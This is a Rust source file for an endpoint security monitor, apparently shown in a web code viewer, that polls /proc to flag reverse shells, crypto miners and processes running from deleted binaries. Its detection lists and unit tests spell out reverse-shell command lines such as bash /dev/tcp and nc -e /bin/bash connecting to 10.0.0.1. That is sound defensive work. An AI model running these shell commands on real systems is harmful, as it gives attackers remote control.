Skip to main content

nexus_shield/endpoint/
process_monitor.rs

1// ============================================================================
2// File: endpoint/process_monitor.rs
3// Description: Real-time process behavior monitoring via /proc
4// Author: Andrew Jewell Sr. - AutomataNexus
5// Updated: March 24, 2026
6// ============================================================================
7//! Process Monitor — detects reverse shells, crypto miners, privilege escalation,
8//! and suspicious process behavior by polling /proc.
9
10use super::{DetectionCategory, RecommendedAction, ScanResult, Severity};
11use parking_lot::RwLock;
12use serde::{Deserialize, Serialize};
13use std::collections::HashMap;
14use std::sync::atomic::{AtomicBool, Ordering};
15use std::sync::Arc;
16use std::time::Instant;
17
18/// Reverse shell command-line patterns.
19const REVERSE_SHELL_PATTERNS: &[&str] = &[
20    "bash -i >& /dev/tcp/",
21    "bash -i >& /dev/udp/",
22    "/bin/sh -i",
23    "nc -e /bin/",
24    "nc -e /bin/bash",
25    "ncat -e /bin/",
26    "python -c 'import socket",
27    "python3 -c 'import socket",
28    "python -c \"import socket",
29    "python3 -c \"import socket",
30    "perl -e 'use Socket",
31    "ruby -rsocket",
32    "php -r '$sock=fsockopen",
33    "socat exec:",
34    "0<&196;exec 196<>/dev/tcp/",
35    "exec 5<>/dev/tcp/",
36    "import pty;pty.spawn",
37    "lua -e \"require('socket\"",
38    "openssl s_client -connect",
39];
40
41/// Crypto miner command-line patterns.
42const MINER_PATTERNS: &[&str] = &[
43    "stratum+tcp://",
44    "stratum+ssl://",
45    "xmrig",
46    "minerd",
47    "cpuminer",
48    "cryptonight",
49    "ethminer",
50    "nbminer",
51    "phoenixminer",
52    "t-rex",
53    "lolminer",
54    "gminer",
55    "randomx",
56    "kawpow",
57    "pool.minergate",
58    "pool.minexmr",
59    "nicehash",
60];
61
62/// Configuration for the process monitor.
63#[derive(Debug, Clone, Serialize, Deserialize)]
64pub struct ProcessMonitorConfig {
65    pub poll_interval_ms: u64,
66    pub crypto_cpu_threshold: f64,
67    pub crypto_duration_secs: u64,
68    pub allowlist_names: Vec<String>,
69}
70
71impl Default for ProcessMonitorConfig {
72    fn default() -> Self {
73        Self {
74            poll_interval_ms: 2000,
75            crypto_cpu_threshold: 90.0,
76            crypto_duration_secs: 60,
77            allowlist_names: Vec::new(),
78        }
79    }
80}
81
82/// Tracked state for a process.
83struct ProcessInfo {
84    pid: u32,
85    name: String,
86    exe: String,
87    cmdline: String,
88    ppid: u32,
89    cpu_ticks: u64,
90    first_seen: Instant,
91    high_cpu_since: Option<Instant>,
92}
93
94/// Real-time process behavior monitor.
95pub struct ProcessMonitor {
96    config: ProcessMonitorConfig,
97    known_pids: RwLock<HashMap<u32, ProcessInfo>>,
98    running: Arc<AtomicBool>,
99}
100
101impl ProcessMonitor {
102    pub fn new(config: ProcessMonitorConfig) -> Self {
103        Self {
104            config,
105            known_pids: RwLock::new(HashMap::new()),
106            running: Arc::new(AtomicBool::new(true)),
107        }
108    }
109
110    /// Perform a single scan of all processes. Returns detections.
111    pub fn scan_once(&self) -> Vec<ScanResult> {
112        let mut results = Vec::new();
113        let mut current_pids: HashMap<u32, ProcessInfo> = HashMap::new();
114
115        // Read /proc for all PIDs
116        let entries = match std::fs::read_dir("/proc") {
117            Ok(e) => e,
118            Err(_) => return results,
119        };
120
121        for entry in entries.flatten() {
122            let name = entry.file_name();
123            let name_str = name.to_string_lossy();
124
125            // Only numeric directories (PIDs)
126            let pid: u32 = match name_str.parse() {
127                Ok(p) => p,
128                Err(_) => continue,
129            };
130
131            // Read process info (graceful — processes can exit at any time)
132            let comm = read_proc_file(pid, "comm")
133                .unwrap_or_default()
134                .trim()
135                .to_string();
136            let cmdline = read_proc_cmdline(pid).unwrap_or_default();
137            let stat = read_proc_file(pid, "stat").unwrap_or_default();
138            let exe = std::fs::read_link(format!("/proc/{}/exe", pid))
139                .map(|p| p.to_string_lossy().to_string())
140                .unwrap_or_default();
141
142            // Parse ppid and cpu ticks from stat
143            let (ppid, cpu_ticks) = parse_stat_fields(&stat);
144
145            let info = ProcessInfo {
146                pid,
147                name: comm.clone(),
148                exe: exe.clone(),
149                cmdline: cmdline.clone(),
150                ppid,
151                cpu_ticks,
152                first_seen: Instant::now(),
153                high_cpu_since: None,
154            };
155
156            // Check if this is a NEW process
157            let is_new = !self.known_pids.read().contains_key(&pid);
158
159            if is_new && !cmdline.is_empty() {
160                // Check for reverse shell patterns
161                let cmdline_lower = cmdline.to_lowercase();
162                for pattern in REVERSE_SHELL_PATTERNS {
163                    if cmdline_lower.contains(&pattern.to_lowercase()) {
164                        results.push(ScanResult::new(
165                            "process_monitor",
166                            format!("pid:{} ({})", pid, comm),
167                            Severity::Critical,
168                            DetectionCategory::SuspiciousProcess {
169                                pid,
170                                name: comm.clone(),
171                            },
172                            format!(
173                                "Reverse shell detected — PID {} ({}) cmdline matches pattern: '{}'",
174                                pid, comm, pattern
175                            ),
176                            0.95,
177                            RecommendedAction::KillProcess { pid },
178                        ));
179                        break;
180                    }
181                }
182
183                // Check for crypto miner patterns
184                for pattern in MINER_PATTERNS {
185                    if cmdline_lower.contains(&pattern.to_lowercase()) {
186                        results.push(ScanResult::new(
187                            "process_monitor",
188                            format!("pid:{} ({})", pid, comm),
189                            Severity::High,
190                            DetectionCategory::SuspiciousProcess {
191                                pid,
192                                name: comm.clone(),
193                            },
194                            format!(
195                                "Crypto miner detected — PID {} ({}) cmdline matches pattern: '{}'",
196                                pid, comm, pattern
197                            ),
198                            0.85,
199                            RecommendedAction::KillProcess { pid },
200                        ));
201                        break;
202                    }
203                }
204            }
205
206            // Check for deleted executable (common after injection)
207            if exe.contains("(deleted)") {
208                results.push(ScanResult::new(
209                    "process_monitor",
210                    format!("pid:{} ({})", pid, comm),
211                    Severity::Medium,
212                    DetectionCategory::SuspiciousProcess {
213                        pid,
214                        name: comm.clone(),
215                    },
216                    format!(
217                        "Process running from deleted binary — PID {} ({}) exe: {}",
218                        pid, comm, exe
219                    ),
220                    0.7,
221                    RecommendedAction::Alert,
222                ));
223            }
224
225            current_pids.insert(pid, info);
226        }
227
228        // Update known PIDs
229        *self.known_pids.write() = current_pids;
230
231        results
232    }
233
234    /// Start the process monitor in a background task.
235    pub fn start(
236        self: Arc<Self>,
237        detection_tx: tokio::sync::mpsc::UnboundedSender<ScanResult>,
238    ) -> tokio::task::JoinHandle<()> {
239        let running = Arc::clone(&self.running);
240        let interval_ms = self.config.poll_interval_ms;
241
242        tokio::spawn(async move {
243            let mut interval =
244                tokio::time::interval(std::time::Duration::from_millis(interval_ms));
245
246            while running.load(Ordering::Relaxed) {
247                interval.tick().await;
248                let results = self.scan_once();
249                for result in results {
250                    if detection_tx.send(result).is_err() {
251                        return;
252                    }
253                }
254            }
255        })
256    }
257
258    /// Stop the process monitor.
259    pub fn stop(&self) {
260        self.running.store(false, Ordering::Relaxed);
261    }
262}
263
264/// Read a /proc/[pid]/[file] as a string.
265fn read_proc_file(pid: u32, file: &str) -> Option<String> {
266    std::fs::read_to_string(format!("/proc/{}/{}", pid, file)).ok()
267}
268
269/// Read /proc/[pid]/cmdline, replacing null bytes with spaces.
270fn read_proc_cmdline(pid: u32) -> Option<String> {
271    let data = std::fs::read(format!("/proc/{}/cmdline", pid)).ok()?;
272    let s: String = data.iter().map(|&b| if b == 0 { ' ' } else { b as char }).collect();
273    Some(s.trim().to_string())
274}
275
276/// Parse ppid (field 4) and cpu ticks (utime+stime, fields 14+15) from /proc/[pid]/stat.
277fn parse_stat_fields(stat: &str) -> (u32, u64) {
278    // stat format: "pid (comm) state ppid ..."
279    // comm can contain spaces and parens, so find the LAST ")" to skip it
280    let close_paren = match stat.rfind(')') {
281        Some(i) => i,
282        None => return (0, 0),
283    };
284
285    let fields_str = &stat[close_paren + 2..]; // skip ") "
286    let fields: Vec<&str> = fields_str.split_whitespace().collect();
287
288    // After the closing paren:
289    // field 0 = state, field 1 = ppid, ..., field 11 = utime, field 12 = stime
290    let ppid = fields.get(1).and_then(|s| s.parse().ok()).unwrap_or(0);
291    let utime: u64 = fields.get(11).and_then(|s| s.parse().ok()).unwrap_or(0);
292    let stime: u64 = fields.get(12).and_then(|s| s.parse().ok()).unwrap_or(0);
293
294    (ppid, utime + stime)
295}
296
297/// Check if a command line matches any reverse shell pattern.
298pub fn matches_reverse_shell(cmdline: &str) -> bool {
299    let lower = cmdline.to_lowercase();
300    REVERSE_SHELL_PATTERNS
301        .iter()
302        .any(|p| lower.contains(&p.to_lowercase()))
303}
304
305/// Check if a command line matches any miner pattern.
306pub fn matches_miner(cmdline: &str) -> bool {
307    let lower = cmdline.to_lowercase();
308    MINER_PATTERNS
309        .iter()
310        .any(|p| lower.contains(&p.to_lowercase()))
311}
312
313#[cfg(test)]
314mod tests {
315    use super::*;
316
317    #[test]
318    fn reverse_shell_bash_tcp() {
319        assert!(matches_reverse_shell("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
320    }
321
322    #[test]
323    fn reverse_shell_nc() {
324        assert!(matches_reverse_shell("nc -e /bin/bash 10.0.0.1 4444"));
325    }
326
327    #[test]
328    fn reverse_shell_python() {
329        assert!(matches_reverse_shell(
330            "python3 -c 'import socket,subprocess,os;s=socket.socket('"
331        ));
332    }
333
334    #[test]
335    fn reverse_shell_perl() {
336        assert!(matches_reverse_shell("perl -e 'use Socket;$i=\"10.0.0.1\"'"));
337    }
338
339    #[test]
340    fn clean_cmdline_passes() {
341        assert!(!matches_reverse_shell("vim /etc/nginx/nginx.conf"));
342        assert!(!matches_reverse_shell("cargo build --release"));
343        assert!(!matches_reverse_shell("node server.js"));
344    }
345
346    #[test]
347    fn miner_xmrig() {
348        assert!(matches_miner("./xmrig --url stratum+tcp://pool.minexmr.com:4444"));
349    }
350
351    #[test]
352    fn miner_stratum() {
353        assert!(matches_miner("miner --pool stratum+ssl://us-east.stratum.slushpool.com"));
354    }
355
356    #[test]
357    fn normal_process_not_miner() {
358        assert!(!matches_miner("python3 train_model.py --epochs 100"));
359        assert!(!matches_miner("gcc -O2 main.c -o main"));
360    }
361
362    #[test]
363    fn config_defaults() {
364        let config = ProcessMonitorConfig::default();
365        assert_eq!(config.poll_interval_ms, 2000);
366        assert_eq!(config.crypto_cpu_threshold, 90.0);
367        assert_eq!(config.crypto_duration_secs, 60);
368    }
369
370    #[test]
371    fn parse_stat_valid() {
372        let stat = "1234 (my process) S 1 1234 1234 0 -1 4194304 500 0 0 0 100 50 0 0 20 0 1 0 100 1000000 100 18446744073709551615 0 0 0 0 0 0 0 0 0";
373        let (ppid, ticks) = parse_stat_fields(stat);
374        assert_eq!(ppid, 1);
375        assert_eq!(ticks, 150); // utime(100) + stime(50)
376    }
377
378    #[test]
379    fn parse_stat_with_parens_in_name() {
380        let stat = "5678 (my (weird) proc) S 42 5678 5678 0 -1 0 0 0 0 0 200 30 0 0 20 0 1 0 0 0 0 0 0 0 0 0 0 0 0";
381        let (ppid, ticks) = parse_stat_fields(stat);
382        assert_eq!(ppid, 42);
383        assert_eq!(ticks, 230); // 200 + 30
384    }
385
386    #[test]
387    fn deleted_exe_pattern() {
388        let exe = "/usr/bin/evil (deleted)";
389        assert!(exe.contains("(deleted)"));
390    }
391
392    #[test]
393    fn scan_once_runs_without_crash() {
394        let monitor = ProcessMonitor::new(ProcessMonitorConfig::default());
395        let results = monitor.scan_once();
396        // Should not crash — results may be empty or have findings
397        let _ = results;
398    }
399}